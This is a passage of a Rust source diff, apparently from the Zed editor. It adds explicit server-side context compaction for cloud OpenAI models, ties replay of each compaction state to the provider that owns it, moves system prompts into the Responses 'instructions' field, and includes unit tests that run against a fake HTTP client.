+    ) -> Result<PerformLlmCompletionResponse, LanguageModelCompletionError> {
+        Self::perform_llm_request(
+            "/completions",
+            true,
+            http_client,
+            token_provider,
+            auth_context,
+            app_version,
+            body,
+        )
+        .await
+    }
+
+    async fn perform_llm_compaction(
+        http_client: &HttpClientWithUrl,
+        token_provider: &TP,
+        auth_context: TP::AuthContext,
+        app_version: Option<Version>,
+        body: CompletionBody,
+    ) -> Result<PerformLlmCompletionResponse, LanguageModelCompletionError> {
+        Self::perform_llm_request(
+            "/completions/compact",
+            false,
+            http_client,
+            token_provider,
+            auth_context,
+            app_version,
+            body,
+        )
+        .await
+    }
+
+    async fn perform_llm_request(
+        path: &str,
+        request_status_messages: bool,
+        http_client: &HttpClientWithUrl,
+        token_provider: &TP,
+        auth_context: TP::AuthContext,
+        app_version: Option<Version>,
+        body: CompletionBody,
     ) -> Result<PerformLlmCompletionResponse, LanguageModelCompletionError> {
         let url = http_client
-            .build_zed_llm_url("/completions", &[])
+            .build_zed_llm_url(path, &[])
             .map_err(LanguageModelCompletionError::Other)?;
         let body = serde_json::to_string(&body).map_err(|error| {
             LanguageModelCompletionError::SerializeRequest {
@@ -136,17 +176,20 @@ impl<TP: CloudLlmTokenProvider> CloudLanguageModel<TP> {
         })?;
         let mut response =
             authenticated_llm_request(http_client, token_provider, auth_context, |token| {
-                Ok(http_client::Request::builder()
+                let mut request = http_client::Request::builder()
                     .method(Method::POST)
                     .uri(url.as_ref())
                     .when_some(app_version.as_ref(), |builder, app_version| {
                         builder.header(ZED_VERSION_HEADER_NAME, app_version.to_string())
                     })
                     .header("Content-Type", "application/json")
-                    .header("Authorization", format!("Bearer {token}"))
-                    .header(CLIENT_SUPPORTS_STATUS_MESSAGES_HEADER_NAME, "true")
-                    .header(CLIENT_SUPPORTS_STATUS_STREAM_ENDED_HEADER_NAME, "true")
-                    .body(body.clone().into())?)
+                    .header("Authorization", format!("Bearer {token}"));
+                if request_status_messages {
+                    request = request
+                        .header(CLIENT_SUPPORTS_STATUS_MESSAGES_HEADER_NAME, "true")
+                        .header(CLIENT_SUPPORTS_STATUS_STREAM_ENDED_HEADER_NAME, "true");
+                }
+                Ok(request.body(body.clone().into())?)
             })
             .await
             .map_err(|error| LanguageModelCompletionError::HttpSend {
@@ -156,10 +199,11 @@ impl<TP: CloudLlmTokenProvider> CloudLanguageModel<TP> {
 
         let status = response.status();
         if status.is_success() {
-            let includes_status_messages = response
-                .headers()
-                .get(SERVER_SUPPORTS_STATUS_MESSAGES_HEADER_NAME)
-                .is_some();
+            let includes_status_messages = request_status_messages
+                && response
+                    .headers()
+                    .get(SERVER_SUPPORTS_STATUS_MESSAGES_HEADER_NAME)
+                    .is_some();
 
             return Ok(PerformLlmCompletionResponse {
                 response,
@@ -376,6 +420,104 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
         self.model.supports_server_side_compaction
     }
 
+    fn supports_explicit_compaction(&self) -> bool {
+        self.model.provider == cloud_llm_client::LanguageModelProvider::OpenAi
+            && self.model.supports_server_side_compaction
+    }
+
+    fn compact(
+        &self,
+        request: LanguageModelRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<'static, Result<CompactionResult, LanguageModelCompletionError>> {
+        if !self.supports_explicit_compaction() {
+            return async {
+                Err(LanguageModelCompletionError::Other(anyhow::anyhow!(
+                    "this cloud model does not support explicit compaction"
+                )))
+            }
+            .boxed();
+        }
+
+        let thread_id = request.thread_id.clone();
+        let prompt_id = request.prompt_id.clone();
+        let app_version = self.app_version.clone();
+        let model_provider = self.model.provider;
+        let provider_name = provider_name(&self.model.provider);
+        let supports_none_reasoning_effort =
+            self.model.supported_effort_levels.iter().any(|effort| {
+                open_ai::ReasoningEffort::from_str(&effort.value)
+                    .is_ok_and(|effort| effort == open_ai::ReasoningEffort::None)
+            });
+        // Cloud proxies to OpenAI's own infrastructure, so the resulting
+        // compaction state is owned by (and interchangeable with) OpenAI
+        // proper, not by the cloud transport.
+        let request = match into_open_ai_response(
+            request,
+            &self.model.id.0,
+            self.model.supports_parallel_tool_calls,
+            true,
+            None,
+            None,
+            supports_none_reasoning_effort,
+            &OPEN_AI_PROVIDER_ID,
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
+        let compact_request = request.into_compact_request();
+        let http_client = self.http_client.clone();
+        let token_provider = self.token_provider.clone();
+        let auth_context = token_provider.auth_context(cx);
+        let future = self.request_limiter.run(async move {
+            let PerformLlmCompletionResponse {
+                response,
+                includes_status_messages,
+            } = Self::perform_llm_compaction(
+                &http_client,
+                &*token_provider,
+                auth_context,
+                app_version,
+                CompletionBody {
+                    thread_id,
+                    prompt_id,
+                    provider: model_provider,
+                    model: compact_request.model.clone(),
+                    provider_request: serde_json::to_value(compact_request).map_err(|error| {
+                        LanguageModelCompletionError::SerializeRequest {
+                            provider: provider_name.clone(),
+                            error,
+                        }
+                    })?,
+                },
+            )
+            .await?;
+
+            let events = response_lines::<open_ai::responses::CompactedResponse>(
+                response,
+                includes_status_messages,
+            );
+            futures::pin_mut!(events);
+            while let Some(event) = events.next().await {
+                match event.map_err(|error| error.into_completion_error(provider_name.clone()))? {
+                    CompletionEvent::Event(response) => {
+                        let usage = token_usage_from_response_usage(&response.usage);
+                        let context = response
+                            .into_compacted_context(OPEN_AI_PROVIDER_ID)
+                            .map_err(LanguageModelCompletionError::Other)?;
+                        return Ok(CompactionResult { context, usage });
+                    }
+                    CompletionEvent::Status(_) => {}
+                }
+            }
+
+            Err(LanguageModelCompletionError::StreamEndedUnexpectedly {
+                provider: provider_name,
+            })
+        });
+        future.boxed()
+    }
+
     fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
         self.model
             .supported_effort_levels
@@ -475,6 +617,10 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                         AnthropicModelMode::Default
                     },
                     AnthropicPromptCacheMode::Automatic,
+                    // Cloud proxies to Anthropic's own infrastructure, so
+                    // compaction state is owned by (and interchangeable with)
+                    // Anthropic proper, not by the cloud transport.
+                    &ANTHROPIC_PROVIDER_ID,
                 ) {
                     Ok(request) => request,
                     Err(error) => return async move { Err(error.into()) }.boxed(),
@@ -518,7 +664,8 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                     )
                     .await?;
 
-                    let mut mapper = AnthropicEventMapper::new(provider_name.clone());
+                    let mut mapper =
+                        AnthropicEventMapper::new(provider_name.clone(), ANTHROPIC_PROVIDER_ID);
                     Ok(map_cloud_completion_events(
                         Box::pin(response_lines(response, includes_status_messages)),
                         &provider_name,
@@ -541,7 +688,7 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                             .is_ok_and(|effort| effort == open_ai::ReasoningEffort::None)
                     });
 
-                let mut request = into_open_ai_response(
+                let mut request = match into_open_ai_response(
                     request,
                     &self.model.id.0,
                     self.model.supports_parallel_tool_calls,
@@ -549,7 +696,11 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                     None,
                     None,
                     supports_none_reasoning_effort,
-                );
+                    &OPEN_AI_PROVIDER_ID,
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
 
                 if enable_thinking && let Some(effort) = effort {
                     request.reasoning = Some(open_ai::responses::ReasoningConfig {
@@ -583,7 +734,7 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                     )
                     .await?;
 
-                    let mut mapper = OpenAiResponseEventMapper::new();
+                    let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
                     Ok(map_cloud_completion_events(
                         Box::pin(response_lines(response, includes_status_messages)),
                         &provider_name,
@@ -969,8 +1120,167 @@ pub fn response_lines<T: DeserializeOwned>(
 #[cfg(test)]
 mod tests {
     use super::*;
+    use http_client::FakeHttpClient;
     use http_client::http::{HeaderMap, StatusCode};
-    use language_model::LanguageModelCompletionError;
+    use language_model::{
+        LanguageModelCompletionError, LanguageModelRequestMessage, MessageContent, Role, Speed,
+    };
+    use serde_json::json;
+    use std::sync::Mutex;
+
+    #[gpui::test]
+    async fn cloud_explicit_compaction_forwards_supported_request_fields(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        let captured_request = Arc::new(Mutex::new(None));
+        let captured_request_for_handler = captured_request.clone();
+        let http_client = FakeHttpClient::create(move |request| {
+            let captured_request = captured_request_for_handler.clone();
+            async move {
+                let method = request.method().clone();
+                let uri = request.uri().to_string();
+                let authorization = request
+                    .headers()
+                    .get("Authorization")
+                    .and_then(|value| value.to_str().ok())
+                    .map(str::to_string);
+                let requested_status_messages = request
+                    .headers()
+                    .contains_key(CLIENT_SUPPORTS_STATUS_MESSAGES_HEADER_NAME);
+                let requested_stream_end = request
+                    .headers()
+                    .contains_key(CLIENT_SUPPORTS_STATUS_STREAM_ENDED_HEADER_NAME);
+                let mut body = request.into_body();
+                let mut body_text = String::new();
+                body.read_to_string(&mut body_text).await?;
+                *captured_request.lock().unwrap() = Some((
+                    method,
+                    uri,
+                    authorization,
+                    requested_status_messages,
+                    requested_stream_end,
+                    body_text,
+                ));
+
+                Ok(http_client::Response::builder()
+                    .status(200)
+                    .body(AsyncBody::from(format!(
+                        "{}\n",
+                        json!({
+                            "id": "resp_compact",
+                            "created_at": 1_700_000_000,
+                            "object": "response.compaction",
+                            "output": [{
+                                "type": "compaction",
+                                "id": "cmp_manual",
+                                "encrypted_content": "opaque-state"
+                            }],
+                            "usage": {
+                                "input_tokens": 100,
+                                "input_tokens_details": {"cached_tokens": 20},
+                                "output_tokens": 10,
+                                "output_tokens_details": {"reasoning_tokens": 5},
+                                "total_tokens": 110
+                            }
+                        })
+                    )))?)
+            }
+        });
+        let model = cloud_test_model(http_client);
+        let request = compact_test_request();
+
+        let result = model.compact(request, &cx.to_async()).await.unwrap();
+
+        assert_eq!(
+            result.usage,
+            language_model::TokenUsage {
+                input_tokens: 80,
+                output_tokens: 10,
+                cache_creation_input_tokens: 0,
+                cache_read_input_tokens: 20,
+            }
+        );
+        let language_model::CompactedContext::ProviderState(state) = result.context else {
+            panic!("expected provider compaction state");
+        };
+        assert_eq!(
+            open_ai::responses::provider_compaction_items(&state, &OPEN_AI_PROVIDER_ID).unwrap(),
+            Some(vec![json!({
+                "type": "compaction",
+                "id": "cmp_manual",
+                "encrypted_content": "opaque-state"
+            })])
+        );
+        let (method, uri, authorization, requested_status_messages, requested_stream_end, body) =
+            captured_request.lock().unwrap().take().unwrap();
+        assert_eq!(method, Method::POST);
+        assert_eq!(uri, "http://test.example/completions/compact?");
+        assert_eq!(authorization.as_deref(), Some("Bearer test-token"));
+        assert!(!requested_status_messages);
+        assert!(!requested_stream_end);
+        let body = serde_json::from_str::<serde_json::Value>(&body).unwrap();
+        assert_eq!(body["thread_id"], "thread-123");
+        assert_eq!(body["provider"], "open_ai");
+        assert_eq!(body["model"], "gpt-5.4");
+        assert_eq!(
+            body["provider_request"],
+            json!({
+                "model": "gpt-5.4",
+                "input": [{
+                    "type": "message",
+                    "role": "user",
+                    "content": [{
+                        "type": "input_text",
+                        "text": "Retain this context."
+                    }]
+                }],
+                "prompt_cache_key": "thread-123",
+                "service_tier": "priority"
+            })
+        );
+    }
+
+    #[gpui::test]
+    async fn cloud_explicit_compaction_rejects_output_without_compaction_item(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        let http_client = FakeHttpClient::create(|_| async move {
+            Ok(http_client::Response::builder()
+                .status(200)
+                .body(AsyncBody::from(format!(
+                    "{}\n",
+                    json!({
+                        "id": "resp_compact",
+                        "created_at": 1_700_000_000,
+                        "object": "response.compaction",
+                        "output": [{
+                            "type": "message",
+                            "role": "assistant",
+                            "content": "This is not an opaque compaction item."
+                        }],
+                        "usage": {
+                            "input_tokens": 100,
+                            "input_tokens_details": {"cached_tokens": 20},
+                            "output_tokens": 10,
+                            "output_tokens_details": {"reasoning_tokens": 5},
+                            "total_tokens": 110
+                        }
+                    })
+                )))?)
+        });
+        let model = cloud_test_model(http_client);
+
+        let error = model
+            .compact(compact_test_request(), &cx.to_async())
+            .await
+            .unwrap_err();
+
+        assert!(
+            matches!(&error, LanguageModelCompletionError::Other(_)),
+            "expected invalid canonical output to be rejected, got {error:?}"
+        );
+        assert!(error.to_string().contains("compaction item"));
+    }
 
     #[test]
     fn test_api_error_conversion_with_upstream_http_error() {
@@ -1144,4 +1454,76 @@ mod tests {
             "Expected DeserializeResponse, got: {deserialize:?}"
         );
     }
+
+    fn compact_test_request() -> LanguageModelRequest {
+        LanguageModelRequest {
+            thread_id: Some("thread-123".to_string()),
+            messages: vec![LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("Retain this context.".to_string())],
+                cache: false,
+                reasoning_details: None,
+            }],
+            speed: Some(Speed::Fast),
+            ..Default::default()
+        }
+    }
+
+    fn cloud_test_model(
+        http_client: Arc<HttpClientWithUrl>,
+    ) -> CloudLanguageModel<TestTokenProvider> {
+        CloudLanguageModel {
+            id: LanguageModelId::from("gpt-5.4".to_string()),
+            model: Arc::new(cloud_llm_client::LanguageModel {
+                provider: cloud_llm_client::LanguageModelProvider::OpenAi,
+                id: cloud_llm_client::LanguageModelId(Arc::from("gpt-5.4")),
+                display_name: "GPT-5.4".to_string(),
+                is_latest: true,
+                max_token_count: 1_000_000,
+                max_token_count_in_max_mode: None,
+                max_output_tokens: 128_000,
+                supports_tools: true,
+                supports_images: true,
+                supports_thinking: true,
+                supports_disabling_thinking: true,
+                supports_fast_mode: true,
+                supports_server_side_compaction: true,
+                supported_effort_levels: Vec::new(),
+                supports_streaming_tools: true,
+                supports_parallel_tool_calls: true,
+                is_disabled: false,
+                disabled_reason: None,
+            }),
+            token_provider: Arc::new(TestTokenProvider),
+            http_client,
+            app_version: None,
+            request_limiter: RateLimiter::new(4),
+        }
+    }
+
+    struct TestTokenProvider;
+
+    impl CloudLlmTokenProvider for TestTokenProvider {
+        type AuthContext = ();
+
+        fn auth_context(&self, _cx: &impl AppContext) -> Self::AuthContext {}
+
+        fn cached_token(
+            &self,
+            _auth_context: Self::AuthContext,
+        ) -> BoxFuture<'static, Result<String>> {
+            async { Ok("test-token".to_string()) }.boxed()
+        }
+
+        fn refresh_token(
+            &self,
+            _auth_context: Self::AuthContext,
+        ) -> BoxFuture<'static, Result<String>> {
+            async { Ok("refreshed-test-token".to_string()) }.boxed()
+        }
+
+        fn has_data_retention_consent(&self, _cx: &impl AppContext) -> bool {
+            false
+        }
+    }
 }
diff --git a/crates/open_ai/Cargo.toml b/crates/open_ai/Cargo.toml
index 5083e97c560147..8b89be9bada9b0 100644
--- a/crates/open_ai/Cargo.toml
+++ b/crates/open_ai/Cargo.toml
@@ -30,4 +30,5 @@ strum.workspace = true
 thiserror.workspace = true
 
 [dev-dependencies]
+http_client = { workspace = true, features = ["test-support"] }
 pretty_assertions.workspace = true
diff --git a/crates/open_ai/src/completion.rs b/crates/open_ai/src/completion.rs
index 18798a54b17ad7..8b8da6e657edaf 100644
--- a/crates/open_ai/src/completion.rs
+++ b/crates/open_ai/src/completion.rs
@@ -2,25 +2,26 @@ use anyhow::{Result, anyhow};
 use collections::HashMap;
 use futures::{Stream, StreamExt};
 use language_model_core::{
-    CompactionContent, LanguageModelCompletionError, LanguageModelCompletionEvent,
+    CompactedContext, CompactionUpdate, LanguageModelCompletionError, LanguageModelCompletionEvent,
     LanguageModelCustomToolFormat, LanguageModelCustomToolGrammarSyntax, LanguageModelImage,
-    LanguageModelRequest, LanguageModelRequestMessage, LanguageModelRequestToolInput,
-    LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse,
-    LanguageModelToolUseId, LanguageModelToolUseInput, MessageContent, Role, StopReason,
-    TokenUsage,
+    LanguageModelProviderId, LanguageModelRequest, LanguageModelRequestMessage,
+    LanguageModelRequestToolInput, LanguageModelToolChoice, LanguageModelToolResultContent,
+    LanguageModelToolUse, LanguageModelToolUseId, LanguageModelToolUseInput, MessageContent, Role,
+    StopReason, TokenUsage,
     util::{fix_streamed_json, is_context_window_exceeded_message, parse_tool_arguments},
 };
 use std::pin::Pin;
 use std::sync::Arc;
 
 use crate::responses::{
-    ContextManagement, Request as ResponseRequest, ResponseCompactionItem,
-    ResponseCustomToolCallItem, ResponseCustomToolCallOutputItem, ResponseError,
-    ResponseFunctionCallItem, ResponseFunctionCallOutputContent, ResponseFunctionCallOutputItem,
-    ResponseIncludable, ResponseInputContent, ResponseInputItem, ResponseMessageItem,
-    ResponseOutputItem, ResponseOutputMessage, ResponseReasoningInputItem, ResponseReasoningItem,
+    ContextManagement, Request as ResponseRequest, ResponseCustomToolCallItem,
+    ResponseCustomToolCallOutputItem, ResponseError, ResponseFunctionCallItem,
+    ResponseFunctionCallOutputContent, ResponseFunctionCallOutputItem, ResponseIncludable,
+    ResponseInputContent, ResponseInputItem, ResponseMessageItem, ResponseOutputItem,
+    ResponseOutputMessage, ResponseReasoningInputItem, ResponseReasoningItem,
     ResponseReasoningSummaryPart, ResponseSummary as ResponsesSummary,
     ResponseUsage as ResponsesUsage, StreamEvent as ResponsesStreamEvent,
+    provider_compaction_items, provider_compaction_state_from_items,
 };
 use crate::{
     FunctionContent, FunctionDefinition, ImageUrl, MessagePart, ReasoningEffort,
@@ -227,6 +228,11 @@ pub fn into_open_ai(
     })
 }
 
+/// `compaction_state_owner` identifies the backend this request will be sent
+/// to for the purpose of replaying provider-native compaction state. Multiple
+/// backends share this conversion, but their encrypted compaction items are
+/// not interchangeable, so only state owned by this id is replayed; state
+/// owned by any other backend falls back to replaying the full transcript.
 pub fn into_open_ai_response(
     request: LanguageModelRequest,
     model_id: &str,
@@ -235,7 +241,8 @@ pub fn into_open_ai_response(
     max_output_tokens: Option<u64>,
     default_reasoning_effort: Option<ReasoningEffort>,
     supports_none_reasoning_effort: bool,
-) -> ResponseRequest {
+    compaction_state_owner: &LanguageModelProviderId,
+) -> Result<ResponseRequest> {
     let stream = !model_id.starts_with("o1-");
 
     let LanguageModelRequest {
@@ -255,17 +262,38 @@ pub fn into_open_ai_response(
 
     let service_tier = service_tier_for(speed);
 
+    let mut provider_items = Vec::new();
     let mut input_items = Vec::new();
     let mut replayed_reasoning_item_indexes = HashMap::default();
     let mut tool_use_kinds_by_id = HashMap::default();
+    let mut system_instructions = Vec::new();
     for (index, message) in messages.into_iter().enumerate() {
+        // System messages go to the top-level `instructions` field rather
+        // than the input item list. `instructions` is applied per request
+        // (the Responses API documents it as a system message inserted into
+        // the model's context), so the current system prompt survives when
+        // replaying provider compaction state replaces the accumulated input
+        // items below. This also matches the Codex backend, which rejects
+        // system-role input items outright.
+        if message.role == Role::System {
+            for content in message.content {
+                if let MessageContent::Text(text) = content
+                    && !text.trim().is_empty()
+                {
+                    system_instructions.push(text);
+                }
+            }
+            continue;
+        }
         append_message_to_response_items(
             message,
             index,
+            compaction_state_owner,
             &mut replayed_reasoning_item_indexes,
             &mut tool_use_kinds_by_id,
+            &mut provider_items,
             &mut input_items,
-        );
+        )?;
     }
 
     let tools: Vec<_> = tools
@@ -328,10 +356,14 @@ pub fn into_open_ai_response(
         Vec::new()
     };
 
-    ResponseRequest {
+    Ok(ResponseRequest {
         model: model_id.into(),
-        instructions: None,
-        input: input_items,
+        instructions: if system_instructions.is_empty() {
+            None
+        } else {
+            Some(system_instructions.join("\n\n"))
+        },
+        input: crate::responses::ResponseInput::new(provider_items, input_items),
         store: Some(false),
         include,
         stream,
@@ -358,16 +390,18 @@ pub fn into_open_ai_response(
         service_tier,
         context_management: compact_at_tokens
             .map(|compact_threshold| vec![ContextManagement::Compaction { compact_threshold }]),
-    }
+    })
 }
 
 fn append_message_to_response_items(
     message: LanguageModelRequestMessage,
     index: usize,
+    compaction_state_owner: &LanguageModelProviderId,
     replayed_reasoning_item_indexes: &mut HashMap<String, usize>,
     tool_use_kinds_by_id: &mut HashMap<LanguageModelToolUseId, ReplayToolKind>,
+    provider_items: &mut Vec<serde_json::Value>,
     input_items: &mut Vec<ResponseInputItem>,
-) {
+) -> Result<()> {
     let mut content_parts: Vec<ResponseInputContent> = Vec::new();
 
     let LanguageModelRequestMessage {
@@ -396,27 +430,26 @@ fn append_message_to_response_items(
                 push_response_text_part(&role, text, &mut content_parts);
             }
             MessageContent::Thinking { .. } | MessageContent::RedactedThinking(_) => {}
-            MessageContent::Compaction(CompactionContent::Encrypted {
-                id,
-                encrypted_content,
-            }) => {
-                flush_response_parts(
-                    &role,
-                    index,
-                    phase.as_deref(),
-                    &mut content_parts,
-                    input_items,
-                );
-                input_items.push(ResponseInputItem::Compaction(ResponseCompactionItem {
-                    id,
-                    encrypted_content,
-                }));
+            MessageContent::Compaction(CompactedContext::ProviderState(state)) => {
+                // The canonical replacement window already encodes all
+                // context retained at the compaction point, so everything
+                // accumulated before it -- earlier input items, earlier parts
+                // of this same message, and replay bookkeeping -- is
+                // superseded and must not be resent. When a transcript
+                // contains multiple compactions, each later window supersedes
+                // the previous one, so the last compaction wins. State owned
+                // by another backend yields `None`, in which case we fall
+                // back to replaying the full transcript.
+                if let Some(items) = provider_compaction_items(&state, compaction_state_owner)? {
+                    content_parts.clear();
+                    input_items.clear();
+                    replayed_reasoning_item_indexes.clear();
+                    tool_use_kinds_by_id.clear();
+                    provider_items.clear();
+                    provider_items.extend(items);
+                }
             }
-            // Summary compaction blocks come from other providers, and a
-            // Pending block is a streaming-only UI signal; neither is replayed.
-            MessageContent::Compaction(
-                CompactionContent::Summary { .. } | CompactionContent::Pending,
-            ) => {}
+            MessageContent::Compaction(CompactedContext::Summary { .. }) => {}
             MessageContent::Image(image) => {
                 push_response_image_part(&role, image, &mut content_parts);
             }
@@ -514,6 +547,7 @@ fn append_message_to_response_items(
         &mut content_parts,
         input_items,
     );
+    Ok(())
 }
 
 #[derive(Clone, Copy)]
@@ -835,11 +869,15 @@ struct RawToolCall {
 }
 
 pub struct OpenAiResponseEventMapper {
+    /// The backend whose infrastructure produced this stream; stamped on any
+    /// compaction state it emits so replay is limited to the same backend.
+    compaction_state_owner: LanguageModelProviderId,
     function_calls_by_item: HashMap<String, PendingResponseFunctionCall>,
     custom_tool_calls_by_item: HashMap<String, PendingResponseCustomToolCall>,
     reasoning_items: Vec<ResponseReasoningInputItem>,
     current_message_phase: Option<String>,
     pending_stop_reason: Option<StopReason>,
+    pending_compaction_items: usize,
 }
 
 #[derive(Default)]
@@ -856,13 +894,15 @@ struct PendingResponseCustomToolCall {
 }
 
 impl OpenAiResponseEventMapper {
-    pub fn new() -> Self {
+    pub fn new(compaction_state_owner: LanguageModelProviderId) -> Self {
         Self {
+            compaction_state_owner,
             function_calls_by_item: HashMap::default(),
             custom_tool_calls_by_item: HashMap::default(),
             reasoning_items: Vec::new(),
             current_message_phase: None,
             pending_stop_reason: None,
+            pending_compaction_items: 0,
         }
     }
 
@@ -931,8 +971,9 @@ impl OpenAiResponseEventMapper {
                         }
                     }
                     ResponseOutputItem::Compaction(_) => {
+                        self.pending_compaction_items += 1;
                         events.push(Ok(LanguageModelCompletionEvent::Compaction(
-                            CompactionContent::Pending,
+                            CompactionUpdate::Started,
                         )));
                     }
                     ResponseOutputItem::Reasoning(_) | ResponseOutputItem::Unknown => {}
@@ -1114,12 +1155,20 @@ impl OpenAiResponseEventMapper {
                     }
                 }
                 ResponseOutputItem::Compaction(compaction) => {
-                    vec![Ok(LanguageModelCompletionEvent::Compaction(
-                        CompactionContent::Encrypted {
-                            id: compaction.id,
-                            encrypted_content: compaction.encrypted_content,
-                        },
-                    ))]
+                    self.pending_compaction_items = self.pending_compaction_items.saturating_sub(1);
+                    match serde_json::to_value(ResponseInputItem::Compaction(compaction))
+                        .map_err(anyhow::Error::from)
+                        .and_then(|item| {
+                            provider_compaction_state_from_items(
+                                self.compaction_state_owner.clone(),
+                                vec![item],
+                            )
+                        }) {
+                        Ok(state) => vec![Ok(LanguageModelCompletionEvent::Compaction(
+                            CompactionUpdate::Finished(CompactedContext::ProviderState(state)),
+                        ))],
+                        Err(error) => vec![Err(LanguageModelCompletionError::Other(error))],
+                    }
                 }
                 ResponseOutputItem::FunctionCall(_) | ResponseOutputItem::Unknown => Vec::new(),
             },
@@ -1140,6 +1189,16 @@ impl OpenAiResponseEventMapper {
         response: ResponsesSummary,
         default_reason: StopReason,
     ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        // A compaction item that was added but never done means the server
+        // already pruned its context, but we never received the canonical
+        // replacement window. Continuing as if the turn succeeded would
+        // leave the conversation unable to continue coherently.
+        if self.pending_compaction_items > 0 {
+            return vec![Err(LanguageModelCompletionError::Other(anyhow!(
+                "response completed with an unfinished compaction item"
+            )))];
+        }
+
         let mut events = Vec::new();
 
         events.extend(self.capture_reasoning_items_from_output(&response.output));
@@ -1427,7 +1486,7 @@ fn response_content_is_refusal(content: &serde_json::Value) -> bool {
     content_type == Some("refusal") || !refusal.is_empty()
 }
 
-fn token_usage_from_response_usage(usage: &ResponsesUsage) -> TokenUsage {
+pub fn token_usage_from_response_usage(usage: &ResponsesUsage) -> TokenUsage {
     let cache_read_input_tokens = usage.input_tokens_details.cached_tokens;
 
     TokenUsage {
@@ -1479,7 +1538,8 @@ mod tests {
         LanguageModelCustomToolFormat, LanguageModelCustomToolGrammarSyntax, LanguageModelImage,
         LanguageModelRequestMessage, LanguageModelRequestTool, LanguageModelRequestToolInput,
         LanguageModelToolResult, LanguageModelToolResultContent, LanguageModelToolUse,
-        LanguageModelToolUseId, LanguageModelToolUseInput, SharedString, Speed,
+        LanguageModelToolUseId, LanguageModelToolUseInput, OPEN_AI_PROVIDER_ID, SharedString,
+        Speed,
     };
     use pretty_assertions::assert_eq;
     use serde_json::json;
@@ -1491,7 +1551,7 @@ mod tests {
 
     fn map_response_events(events: Vec<ResponsesStreamEvent>) -> Vec<LanguageModelCompletionEvent> {
         block_on(async {
-            OpenAiResponseEventMapper::new()
+            OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID)
                 .map_stream(Box::pin(futures::stream::iter(events.into_iter().map(Ok))))
                 .collect::<Vec<_>>()
                 .await
@@ -1828,19 +1888,15 @@ mod tests {
             Some(2048),
             Some(ReasoningEffort::Low),
             false,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response).unwrap();
         let expected = json!({
             "model": "custom-model",
+            "instructions": "System context",
             "input": [
-                {
-                    "type": "message",
-                    "role": "system",
-                    "content": [
-                        { "type": "input_text", "text": "System context" }
-                    ]
-                },
                 {
                     "type": "message",
                     "role": "user",
@@ -2010,8 +2066,17 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let response =
-            into_open_ai_response(request, "custom-model", false, false, None, None, false);
+        let response = into_open_ai_response(
+            request,
+            "custom-model",
+            false,
+            false,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
         let serialized = serde_json::to_value(response).unwrap();
         assert_eq!(
             serialized,
@@ -2110,7 +2175,9 @@ mod tests {
             None,
             Some(ReasoningEffort::Low),
             false,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response).unwrap();
         assert_eq!(
@@ -2185,8 +2252,17 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let response =
-            into_open_ai_response(request, "custom-model", false, false, None, None, false);
+        let response = into_open_ai_response(
+            request,
+            "custom-model",
+            false,
+            false,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
         let serialized = serde_json::to_value(&response).unwrap();
 
         assert_eq!(
@@ -2250,7 +2326,9 @@ mod tests {
             None,
             Some(ReasoningEffort::Medium),
             false,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response).unwrap();
         assert_eq!(serialized.get("reasoning"), None);
@@ -2286,7 +2364,17 @@ mod tests {
                 compact_at_tokens: None,
             };
 
-            let response = into_open_ai_response(request, "gpt-5.4", true, true, None, None, true);
+            let response = into_open_ai_response(
+                request,
+                "gpt-5.4",
+                true,
+                true,
+                None,
+                None,
+                true,
+                &OPEN_AI_PROVIDER_ID,
+            )
+            .unwrap();
 
             let serialized = serde_json::to_value(&response)?;
             assert_eq!(
@@ -2420,7 +2508,9 @@ mod tests {
             None,
             Some(ReasoningEffort::Medium),
             true,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response)?;
         assert_eq!(serialized["reasoning"], json!({ "effort": "none" }));
@@ -2459,7 +2549,9 @@ mod tests {
             None,
             Some(ReasoningEffort::Medium),
             true,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response)?;
         assert_eq!(
@@ -2510,7 +2602,9 @@ mod tests {
             None,
             Some(ReasoningEffort::Medium),
             false,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response).unwrap();
         assert_eq!(
@@ -2600,7 +2694,9 @@ mod tests {
             None,
             Some(ReasoningEffort::Medium),
             false,
-        );
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         let serialized = serde_json::to_value(&response).unwrap();
         assert_eq!(
@@ -2680,8 +2776,17 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let response =
-            into_open_ai_response(request, "custom-model", false, false, None, None, false);
+        let response = into_open_ai_response(
+            request,
+            "custom-model",
+            false,
+            false,
+            None,
+            None,
+            false,
